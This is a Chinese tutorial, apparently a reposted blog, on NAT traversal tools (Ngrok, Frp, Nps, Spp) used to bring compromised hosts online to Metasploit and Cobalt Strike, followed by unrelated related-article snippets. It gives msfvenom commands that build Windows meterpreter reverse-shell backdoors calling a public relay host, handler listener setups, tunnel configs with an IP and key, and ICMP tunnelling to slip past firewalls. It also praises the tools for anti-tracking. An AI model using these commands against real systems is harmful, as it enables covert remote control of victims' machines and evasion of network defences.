内网安全:内网穿透详解

目录

内网穿透技术

内网穿透原理

实验环境

内网穿透项目

内网穿透:Ngrok

配置服务端

客户端配置

客户端生成后门,等待目标上线

内网穿透:Frp

客户端服务端建立连接

MSF生成后门,等待上线

内网穿透:Nps

服务端搭建配置

客户端配置

MSF生成后门上线

内网穿透:Spp

服务端

客户端

CS配置

总结:内网穿透技术解决了和内网主机连接的问题


内网穿透技术

这个技术可以解决的问题:

  • 穿透:实现“内网”控制“内网”,内网主机上线。
  • 隧道:解决内网主机协议的限制,实现通讯,之后上线。

内网穿透原理

内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通信连接。当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备能够穿透到内网中的设备,建立起通信连接。

内网穿透的原理可以简单描述如下:

  1. NAT(网络地址转换):在常见的网络环境中,内网通常由路由器或防火墙等设备进行网络地址转换(NAT),将内网中的私有IP地址转换为公网可路由的IP地址。这样,内网设备可以通过NAT设备与公网通信,但公网无法直接访问内网设备。

  2. 穿透技术:为了实现内网穿透,需要借助一些特定的技术手段,使公网上的设备能够访问到内网中的设备。常见的穿透技术包括:

    • 端口映射(Port Forwarding):通过在路由器上进行端口映射配置,将公网上的某个端口映射到内网中的设备,从而实现对该设备的访问。

    • 反向代理(Reverse Proxy):在公网上搭建一个反向代理服务器,将公网请求转发到内网中的设备上。公网设备与反向代理服务器建立连接后,由反向代理服务器将请求转发到内网设备,实现公网访问内网的功能。

    • VPN(Virtual Private Network):通过建立VPN连接,将公网和内网连接在一起,使得公网用户可以通过VPN隧道访问内网资源。VPN会创建一个虚拟的私有网络,将公网设备加入到该网络中,使其能够直接访问内网中的设备。

    • 云服务:一些云服务提供商提供了内网穿透的解决方案,用户可以通过这些云服务将内网设备暴露到公网上,以实现公网访问内网的需求。

实验环境

目标:xiaodi8.com上线Kali的CS

  • 公网主机:xiaodi8.com
  • 内网Kali:192.168.1.166

正向连接:Kali主动连接xiaodi8.com,可行

反向连接:xiaodi8.com连接Kali,不可行

为了解决反向连接的问题,需要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。

内网穿透项目

一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不推荐)

https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
http://www.rootkiter.com/EarthWorm

优点:穿透加密数据,中间平台,防追踪,解决网络问题

内网穿透:Ngrok

项目地址:内网转发

免费版:仅支持三种协议,http,https,tcp

配置服务端

开通隧道,设置Kali内网IP,Port,以及服务器开放的端口

客户端配置

Kali执行客户端,这个过程相当于Kali主动连接域名

./sunny clientid 203828291918

客户端生成后门,等待目标上线

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2233
run

目标上线

内网穿透:Frp

项目地址:https://github.com/fatedier/frp

需要一台服务器

frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。

客户端服务端建立连接

服务端

服务器修改配置文件frps.ini 隧道建立绑定在7000端口

[common] bind_port = 7000

启动服务端

./frps -c ./frps.ini

 客户端

修改配置文件frpc.ini   

隧道建立绑定在7000端口

服务端的6000端口受到数据会自动转发到本地的5555端口

[common] 
server_addr = 47.94.236.117 
server_port = 7000[msf]
type=tcp
local_ip=127.0.0.1
local_port=5555
remote_port=6000

启动客户端

./frpc -c ./frpc.ini

客户端与服务端建立连接

MSF生成后门,等待上线

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

上线

内网穿透:Nps

相当于服务端搭建一个ngrok

项目地址:https://github.com/ehang-io/nps

下载项目到服务器,它有一个客户端,一个服务端

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
 

服务端搭建配置

安装nps

./nps install

运行nps

./nps

默认运行地址

http://IP:8080/

默认登录账号密码

admin/123

创建客户端,生成密匙

添加协议隧道,绑定指向

将访问服务器5566端口的流量发送至客户端的6666端口

客户端配置

连接服务端

./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v  #创建客户端后自动生成密钥

MSF生成后门上线

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe

监听本地6666

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

上线

内网穿透:Spp

项目地址:GitHub - esrrhs/spp: A simple and powerful proxy

支持的协议:tcp、udp、udp、icmp、http、kcp、quic

支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理

在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。

在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。

服务端

服务端运行,监听本地的ICMP流量

./spp -type server -proto ricmp -listen 0.0.0.0

客户端

受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)

spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp

服务端收到数据

CS配置

这个CS是运行在服务端的

创建两个监听器:

监听器1:http 47.94.236.117 8081

 
监听器2:http 127.0.0.1 8082 生成后门放到靶机上执行

上线,生成监听器2的木马,上线监听器1

总结:内网穿透技术解决了和内网主机连接的问题

区别于代理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样

代理技术可以把外网攻击机带进内网进行渗透

隧道技术解决了因为防火墙限制流量不出网的问题

内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器

要根据不同使用场景来选择使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/922.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】- Linux 磁盘分区、挂载

Linux 磁盘分区、挂载 1.1 Linux 分区1.2 硬盘说明1.3 磁盘情况查询 1.1 Linux 分区 原理介绍 Linux 来说无论有几个分区,分给哪一目录使用,它归根结底就只有一个根目录,一个独立且唯一的文件结构 , Linux 中每个分区都是用来组成整个文件系…

Mac搭建安卓模拟器(支持M1/M2)

引言 最近在研究Vue打包成app,给我的报价器搞一个移动端,奈何没有安卓手机用于测试。所以想到安装一个安卓模拟器。 看了下目前主流的安卓模拟器基本都不支持Mac版本。网易的mumu目前来看还是只支持Intel芯。 1. 简单版(仅M系)…

BigTable:一个针对结构化数据的分布式存储系统----论文摘要

目录 摘要 1. 介绍 2. 数据模型 行 列族 时间戳 3. API 4. 所需构件 5. 实现 5.1 Tablet的位置 5.2 Tablet分配 5.3 Tablet服务 5.4 压实(Compactions) 6. 优化 本地化分组 压缩(compression) 通过缓存提高读操作的性能 Bloom过滤器 C…

数据库查询速度上不去的查询和分析

主要原因 数据库查询速度上不去、阻塞是指在并发访问 MySQL 数据库时,某个事务占用了资源并且长时间不释放,导致其他事务无法执行或执行缓慢的情况。MySQL 阻塞可能会导致数据库性能下降,甚至出现死锁等问题,需要马上进行处理。在 MySQL中,线程阻塞可能是由于以下原因导致…

基于人工智能与边缘计算Aidlux的鸟类检测驱赶系统(可修改为coco 80类目标检测)

●项目名称 基于人工智能与边缘计算Aidlux的鸟类检测驱赶系统(可修改为coco 80类目标检测) ●项目简介 本项目在Aidlux上部署鸟类检测驱赶系统,通过视觉技术检测到有鸟类时,会进行提示。并可在源码上修改coco 80类目标检测索引直…

ELK-日志服务【logstash-安装与使用】

目录 【1】安装logstash logstash input 插件的作用与使用方式 【2】input --> stdin插件:从标准输入读取数据,从标准输出中输出内容 【3】input -- > file插件:从文件中读取数据 【4】input -- > beat插件:从filebe…

开发跨平台APP,是用Flutter还是React Native开发框架?

随着移动互联网的飞速发展,对于开发人员而言,如何快速地开发出兼容不同平台(iOS、Android)的应用,成为了一个重要的问题。 跨平台应用程序开发框架的好处: 1. 一个App适用于多个设备; 2. 一个…

【CSDN新星计划】初阶牛C/C++赛道——顺序程序设计(C语句②)

目录 3.2 最基本的语句——赋值语句 3.2 最基本的语句——赋值语句 在C程序中最常用的语句是:赋值语句和输入输出语句。其中最基本的是赋值语句程序中的计算功能大部分是由赋值语句实现的,几乎每一个有实用价值的程序都包括赋值语句。有的程序中的大部分语句都是赋值语句。先介…

arcgis实现影像监督分类

1、打开ArcMap,右击空白处打开影像分类工具栏,如下: 2、打开影像,如下: 打开的影像由于未经处理,颜色看起来很昏暗,这时候可以拉伸一下。具体操作,右击图层选择属性,如下&#xff1a…

基于springboot,vue网上订餐系统

开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 前端技术 :VueElementUI 服务端技术:springbootmybatisredis 本系统分用户前台和管理后台两部分,项…

亚马逊评论点赞的作用

在亚马逊上,评论点赞可以起到几个重要的作用: 1、增加可信度:当一个产品或服务有很多积极的评论点赞时,其他用户会更容易相信这些评论的可靠性。点赞数量多的评论通常被认为是由多个用户验证的,并且对于潜在买家来说&…

SpringBoot中注入ServletFilterListener

1.基本介绍 文档:SpringBoot中注入Servlet&Filter&Listener 考虑到实际开发业务非常复杂和兼容问题,SpringBoot支持将Servlet、Filter、Listener注入spring容器中,成为Spring Bean也就是说,SpringBoot开放了和原生WEB组件…

基于单片机智能洗衣机设计与实现

功能介绍 以51单片机作为主控系统;利用STC89C52单片机进行数据处理; 通过2路继电器分别控制洗衣机进水、出水相关逻辑运算;采用L298去掉直流电机实现滚筒正反转;通过单片机进行处理数据,把采集到的数据通过LCD液晶显示…

基于Nonconvex规划的配电网重构研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

网络安全与密码学

1、网络安全威胁 破坏网络安全的一些理论方式: 窃听:窃听信息,在网路通信双方直接进行窃听。 插入:主动在网络连接中插入信息(可以在message中插入恶意信息) 假冒:伪造(spoof&#x…

SQLServer2022安装(Windows),已验证

二、安装可视化工具SSMS 接下来安装可视化工具SSMS,现在新版本默认都是没有可视化界面,需要单独安装 (1)地址:下载 SQL Server Management Studio (SSMS) - SQL Server Management Studio (SSMS) | Microsoft Learn…

LayUI之CRUD(增删改查)

目录 一、前期准备 1.数据表格 2.弹出层 3.用户表数据查询 二、用户管理后台编写 三、前端JS编写 四、效果展示 一、前期准备 1.数据表格 在layui官网找到我们需要的数据表格 根据需求复制修改代码,再找到表单复制一个输入框和按钮,做一个搜索功能…

语言模型的自洽性思维链推理技术

论文标题:Self-Consistency Improves Chain of Thought Reasoning in Language Models 论文链接:https://arxiv.org/abs/2203.11171 论文来源:ICLR 2023 一、概述 尽管语言模型在一系列NLP任务中展现出了显著的成功,但它们在推理能…

进制转换详解(解释原理简单易懂)

前言:在网上看了许多篇关于不同进制之间如何转换的文章,包括很多浏览量上万的博客。大多都只是把转换的规则罗列了出来,例如十进制转二进制,可能大家都知道方法,“除以2反向取余数,直到商为0”。应用该方法…

Kubespray v2.22.1 在线部署 kubernetes v1.26.5 集群

文章目录 1. 介绍2. 预备条件3. 配置 hostname4. yum5. 下载介质5.1 git 下载5.2 下载 kubespray v2.22.1 6. 编写 inventory.ini7. 配置互信8. 安装 ansible9. 关闭防火墙10. 安装 docker11. 配置内核参数12. 启动容器 kubespray13. 部署14. 配置连接集群 1. 介绍 kubespray​…